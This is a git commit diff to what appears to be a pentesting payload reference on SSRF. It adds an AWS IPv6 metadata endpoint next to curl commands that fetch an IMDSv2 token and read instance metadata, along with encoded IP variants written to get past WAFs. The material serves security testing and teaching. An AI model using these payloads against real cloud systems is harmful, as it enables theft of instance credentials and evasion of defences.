Merge pull request #651 from JLLeitschuh/patch-3

Add new AWS IPv6 SSRF Endpoint
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Swissky 2023-06-29 10:59:10 +02:00 committed by GitHub
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@ -550,13 +550,15 @@ Example of a PDF attachment using HTML
The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
* Old endpoint: `http://169.254.169.254/latest/meta-data/`
* New endpoint requires the header `X-aws-ec2-metadata-token`
* IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/`
* IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`
```powershell
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
```
* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`
In case of a WAF, you might want to try different ways to connect to the API.
* DNS record pointing to the AWS API IP
```powershell
@ -583,6 +585,7 @@ In case of a WAF, you might want to try different ways to connect to the API.
http://[::ffff:a9fe:a9fe] IPV6 Compressed
http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
http://[fd00:ec2::254] IPV6
```